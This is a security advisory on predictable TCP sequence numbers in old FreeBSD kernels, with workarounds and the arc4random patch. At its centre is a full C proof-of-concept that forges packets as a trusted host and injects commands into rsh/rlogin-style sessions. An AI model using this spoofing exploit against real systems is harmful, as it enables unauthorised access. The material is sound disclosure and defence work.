|
Vulnerability kernel (IP spoofing) Affected At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE Description Following is based on a Hacker Emergency Response Team Advisory #00003 by Pascal Bouchareine and Paul Spiby. There is a weak random() in FreeBSD's TCP stack allows "spoof" attacks. The way FreeBSD handles random sequence number incrementing is weak. With 3 consecutive random increments captured from the responses of 4 SYN packets sent to the target, an attacker can rebuild the random state of the remote machine. This information can then be used to predict the next random increments the remote machine will make. The pseudo-random function called is a linear congruent generator where the (N+1)th value is calculated from the Nth by: x[n + 1] = (7^5 * x[n]) mod (2^31 - 1) The random incrementation of the ISS is done by adding: 122 * 1024 + ((random() >> 14) & 0x3ffff) This incrementation is done for each connection request and at 500ms intervals by the kernel. Unfortunately, it is likely to be done consecutively if an attacker is fast enough. Then, guessing the remote random() state just takes (65535 * 3) tests for the attacker to synchronize. Once done, the attacker may generate the same sequence numbers as the remote system does, and successfully achieve a spoof attack (see example below). Any program that blindly trusts a remote IP address and doesn't provide strong (key/challenge) authentication may allow an attacker to send arbitrary data to the machine (eg. rcmd family [rlogind, rshd], some backup software, etc.) while masquerading as a trusted host; therefore gaining access to the remote system. /* Sample example of remote sequence number prediction. ** ** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... } ** ** This exploit is part of the research and development effort conducted by ** HERT. It is not a production tool for either attack or defense ** within an information warfare setting. Rather, it is a small ** program demonstrating proof of concept. ** ** Concept: ** ** 1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed ** address. ** ** 2) Victim answers with 5 SYN/ACK, *very close in time* ** ** Attacker calculates the 3 random increments that were given. ** Since FreeBSD adds randomness to it's ISS two times a second, ** this is hopefully avoided during this process. ** ** 3) Attacker takes his pocket calculator, calculates a "replay" and ** guesses the 4th increment. She manually enters the 5th seq at her ** keyboard, drinks a coffee, and sends a forged ACK with the good ** seq/ack to victim. ** She's done. ** ** You still have to find something for the trusted host to shut up. ** This is clearly not the biggest problem. ** ** You may want to adjust precision from 4 SYNs to more or less, regarding ** your ping with target (150ms is good). More is useless until you have ** two possible matches. Less is usefull to have a 1/2 luck rate if you have ** a really bad connection. A 486 dx/33 was used to test this on a 56k modem ** with 4 syns and it was just fine. ** ** Pascal Bouchareine [ kalou <pb@hert.org> ] ** */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #define ISS_INCR (122*1024) #define TCP_RANDOM18(n, lr) (guess_next(n, lr) >> 14 & 0x3ffff) #define INTOA(x) inet_ntoa( (struct in_addr) { x } ) #ifdef linux #define ip_sum ip_csum #endif struct spoof { unsigned int myaddr; unsigned int src; unsigned int dst; unsigned short sport; unsigned short dport; }; /* ** This simulates freebsd's rand(), and gives the (time)th next random number, ** regarding the previous one (r). */ inline unsigned int guess_next(int times, unsigned int r) { register unsigned int myr; register int t, hi, lo; int i; myr = r; for (i = 0; i < times; i++) { hi = myr / 127773; lo = myr % 127773; t = 16807 * lo - 2836 * hi; if (t <= 0) t += 0x7fffffff; myr = t; } return myr; } /* ** Calculates the next sequence. ** With 4 seqs, you often have an unique solution. (always ?) ** */ inline unsigned int init_iss(unsigned int seq[], int nseq) { unsigned int tcp_iss; register unsigned int try; int i, res; if (nseq < 2) { return -1; } tcp_iss = seq[nseq - 1]; for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14; try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) { for (i = 1, res = 0; i < (nseq - 1); i++) { if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) == (seq[i + 1] - seq[i]) ) { res++; } else { if (res) res--; break; } } if (res) { /* There, each random increment matched. We assume ** the last rand is good to compute the next one. */ tcp_iss += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 ); fprintf(stderr, "[init_iss]\t found (precision %d)\n", res); fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]); fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss); return tcp_iss; } } fprintf(stderr, "[init_iss]\t failed to find iss.\n"); return 0; } int raw_sock(int proto) { int true = 1; int s; s = socket(AF_INET, SOCK_RAW, proto); if (s > 0) { if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) { perror("setsockopt"); return -1; } } else { perror("raw_sock"); return -1; } return s; } /* ** Well i guess this is ripped from somewhere.. */ unsigned int host_lookup(char *h) { struct in_addr a; struct hostent *he; if ( (a.s_addr = inet_addr(h)) == -1 ) { if ( (he = gethostbyname(h)) == NULL ) { perror("lookup"); return -1; /* 255.255.255.255... */ } bcopy(he->h_addr, (char *) &a.s_addr, he->h_length); } return a.s_addr; } /* The copy'n pasted one works so well. */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } int send_tcp(int s, unsigned int src, unsigned int dst, unsigned char flg, unsigned short sport, unsigned short dport, unsigned int seq, unsigned int ack, char *data, int dlen) { unsigned char pkt[1024]; struct ip *ip; struct tcphdr *tcp; struct sockaddr_in sa; static int ip_id = 0; struct pseudo { unsigned int s; unsigned int d; char n; char p; unsigned short l; } pseudo; if (!ip_id) { ip_id = htons(rand() % getpid()); } ip = (struct ip *) pkt; tcp = (struct tcphdr *) (pkt + sizeof(struct ip)); pseudo.s = src; pseudo.d = dst; pseudo.n = 0; pseudo.p = IPPROTO_TCP; pseudo.l = htons(sizeof(struct tcphdr) + dlen); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = htonl(seq); tcp->th_ack = htonl(ack); tcp->th_off = 5; tcp->th_flags = flg; tcp->th_win = htons(16384); tcp->th_urp = 0; tcp->th_sum = 0; memmove(((char *) tcp) + sizeof(struct tcphdr), data, dlen); /* baom. 1024 */ memmove(((char *) tcp) - sizeof(struct pseudo), (char *) &pseudo, sizeof(struct pseudo)); tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo), sizeof(struct pseudo) + sizeof(struct tcphdr) + dlen); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen); ip->ip_id = ip_id++; ip->ip_off = htons(0); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_sum = 0; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; // ip->ip_sum = in_cksum(pkt, sizeof(struct ip) // + sizeof(struct tcphdr) + dlen); ip->ip_sum = 0; sa.sin_family = AF_INET; sa.sin_addr.s_addr = dst; sa.sin_port = 0; if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen, 0, (struct sockaddr *) &sa, sizeof(sa)) < 0) { perror("sendto"); return -1; } return 0; } int get_acks(int s, int n, unsigned int *seq, unsigned int src_addr, unsigned short src_port) { struct sockaddr_in from; int fromlen; char buf[512]; int nr = n; int len; struct tcphdr *tcp; struct ip *ip; while(nr) { fromlen = sizeof(from); if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) { ip = (struct ip *) buf; if (ip->ip_src.s_addr == src_addr) { len = ip->ip_hl << 2; tcp = (struct tcphdr *) (buf + len); if (tcp->th_sport == src_port) { fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq)); seq[n - nr--] = ntohl(tcp->th_seq); } } } else { perror("recvfrom"); return -1; } } return nr; } unsigned int send_init_flow(int s, unsigned int src, unsigned int dst, unsigned int spoofer, unsigned short sport, unsigned short dport, int nseq) { unsigned int seq; unsigned int ssport = sport; int i, err; seq = rand(); err = 0; for (i = 0; i < nseq; i++) { err += send_tcp(s, src, dst, TH_SYN, ssport++, dport, seq++, 0, "", 0); } err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport, seq, 0, "", 0); if (err) return -1; return seq; } void spoof_loop(int s, unsigned int src, unsigned int dst, unsigned short sport, unsigned short dport, unsigned int oseq, unsigned int oack) { char buf[512]; char *p; unsigned int seq = oseq + 1; /* since remote inc'ed us in syn/ack */ unsigned int ack = oack + 1; /* since we must inc remote in ack */ int i; /* Our syn/ack is on its way. Better wait a little. */ usleep(2800); send_tcp(s, src, dst, TH_ACK, sport, dport, seq, ack, "", 0); while(read(0, buf, 512)) { if ( (p = strchr(buf, '\r')) || (p = strchr(buf, '\n')) ) { *p = '\0'; } fprintf(stderr, "[send]\t %s\n", buf); strcat(buf, "\r\n"); send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport, seq, ack, buf, strlen(buf)); seq += strlen(buf); memset(buf, '\0', sizeof(buf)); } send_tcp(s, src, dst, TH_RST, sport, dport, seq, ack, buf, strlen(buf)); } int spoof(struct spoof s, int p) { int ss, rs; unsigned int seqs[4]; unsigned int seq, ack; rs = raw_sock(IPPROTO_TCP); ss = raw_sock(IPPROTO_RAW); if ((ss < 0) || (rs < 0)) { perror("raw socket"); return -1; } fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst)); fprintf(stderr, "[main]\t\t source %s.\n", INTOA(s.myaddr)); seq = send_init_flow(ss, s.myaddr, s.dst, s.src, s.sport, s.dport, p); if (seq > 0) { fprintf(stderr, "[main]\t\t our seq is %u\n", seq); if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) { ack = init_iss(seqs, 4); fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack, INTOA(s.src)); if (ack > 0) { usleep(2000); spoof_loop(ss, s.src, s.dst, s.sport, s.dport, seq, ack); } else { return -3; } } else { /* get_acks */ return -2; } } /* seq < 0 */ return -1; } void usage(char *p) { fprintf(stderr, "Usage: %s..\n" "\n\t<-m (my address)>\n" "\t<-s (spoofed host)>\n" "\t<-d (destination)>\n" "\t<-p (dest port)>\n" "\t[-S (source port):rand]\n" "\t[-P precision:4]\n\n", p); exit(1); } int main(int argc, char **argv) { int precision; unsigned int hostaddr; struct spoof s; char c; srand(getpid()); s.myaddr = 0; s.src = 0; s.dst = 0; s.dport = 0; s.sport = getpid(); precision = 4; while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) { switch(c) { case 'm': case 's': case 'd': hostaddr = host_lookup(optarg); if (hostaddr == -1) { fprintf(stderr, "%s: unknown host.\n", optarg); exit(1); } switch(c) { case 'm': s.myaddr = hostaddr; break; case 's': s.src = hostaddr; break; case 'd': s.dst = hostaddr; break; } break; case 'S': s.sport = atoi(optarg); break; case 'p': s.dport = atoi(optarg); break; case 'P': precision = atoi(optarg); break; } } if ((!s.myaddr) || (!s.src) || (!s.dst) || (!s.dport)) { usage(argv[0]); } return spoof(s, precision); } Solution Possible workarounds for the vulnerability include one or both of the following: 1) Disable all insecure protocols and services including rlogin, rsh and rexec (if configured to use address-based authentication), or reconfigure them to not authenticate connections based solely on originating address. In general, the rlogin family should not be used anyway - the ssh family of commands (ssh, scp, slogin) provide a secure alternative which is included in FreeBSD 4.0 and above. To disable the rlogin family of protocols, make sure the /etc/inetd.conf file does not contain any of the following entries uncommented (i.e. if present in the inetd.conf file they should be commented out as shown below:) #shell stream tcp nowait root /usr/libexec/rshd rshd #login stream tcp nowait root /usr/libexec/rlogind rlogind #exec stream tcp nowait root /usr/libexec/rexecd rexecd Be sure to restart inetd by sending it a HUP signal after making any changes: # kill -HUP `cat /var/run/inetd.pid` See workaround 3) below. 2) Impose IP-level packet filters on network perimeters or on local affected machines to prevent access from any outside party to a vulnerable internal service using a "privileged" source address. For example, if machines on the internal 10.0.0.0/24 network are allowed to obtain passwordless rlogin access to a server, then external users should be prevented from sending packets with 10.0.0.0/24 source addresses from the outside network into the internal network. This is standard good security policy. Note however that if an external address must be granted access to local resources then this type of filtering cannot be applied. It also does not defend against spoofing attacks from within the network perimeter. Consider disabling this service until the affected machines can be patched. 3) Enable the use of IPSEC to authenticate (and/or encrypt) vulnerable TCP connections at the IP layer. A system which requires authenticaion of all incoming connections to a port using IPSEC cannot be spoofed using the attack described in this advisory, nor can TCP sessions be hijacked by an attacker with access to the packet stream. FreeBSD 4.0 and later include IPSEC functionality in the kernel, and 4.1 and later include an IKE daemon, racoon, in the ports collection. Configuration of IPSEC is beyond the scope of this document, however see the following web resources: http://www.freebsd.org/handbook/ipsec.html http://www.netbsd.org/Documentation/network/ipsec/ http://www.kame.net/ Note that address-based authentication is generally weak, and should be avoided even in environments running with the sequence numbering improvements. Instead, cryptographically-protected protocols and services should be used wherever possible. Solution is one of the following: 1) Upgrade your vulnerable FreeBSD system to 4.1.1-STABLE or 3.5.1-STABLE after the respective correction dates. 2a) FreeBSD 3.x systems Download the patch and detached PGP signature from the following locations, and verify the signature using your PGP utility. ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc 2b) FreeBSD 4.x systems Apply the patch below and recompile your kernel. Either save this advisory to a file, or download the patch and detached PGP signature from the following locations, and verify the signature using your PGP utility. ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc Index: tcp_seq.h =================================================================== RCS file: /usr2/ncvs/src/sys/netinet/tcp_seq.h,v retrieving revision 1.11 retrieving revision 1.12 diff -u -r1.11 -r1.12 --- tcp_seq.h 1999/12/29 04:41:02 1.11 +++ tcp_seq.h 2000/09/29 01:37:19 1.12 @@ -91,7 +91,7 @@ * number in the range [0-0x3ffff] that is hard to predict. */ #ifndef tcp_random18 -#define tcp_random18() ((random() >> 14) & 0x3ffff) +#define tcp_random18() (arc4random() & 0x3ffff) #endif #define TCP_ISSINCR (122*1024 + tcp_random18()) Index: tcp_subr.c =================================================================== RCS file: /usr2/ncvs/src/sys/netinet/tcp_subr.c,v retrieving revision 1.80 retrieving revision 1.81 diff -u -r1.80 -r1.81 --- tcp_subr.c 2000/09/25 23:40:22 1.80 +++ tcp_subr.c 2000/09/29 01:37:19 1.81 @@ -178,7 +178,7 @@ { int hashsize; - tcp_iss = random(); /* wrong, but better than a constant */ + tcp_iss = arc4random(); /* wrong, but better than a constant */ tcp_ccgen = 1; tcp_cleartaocache();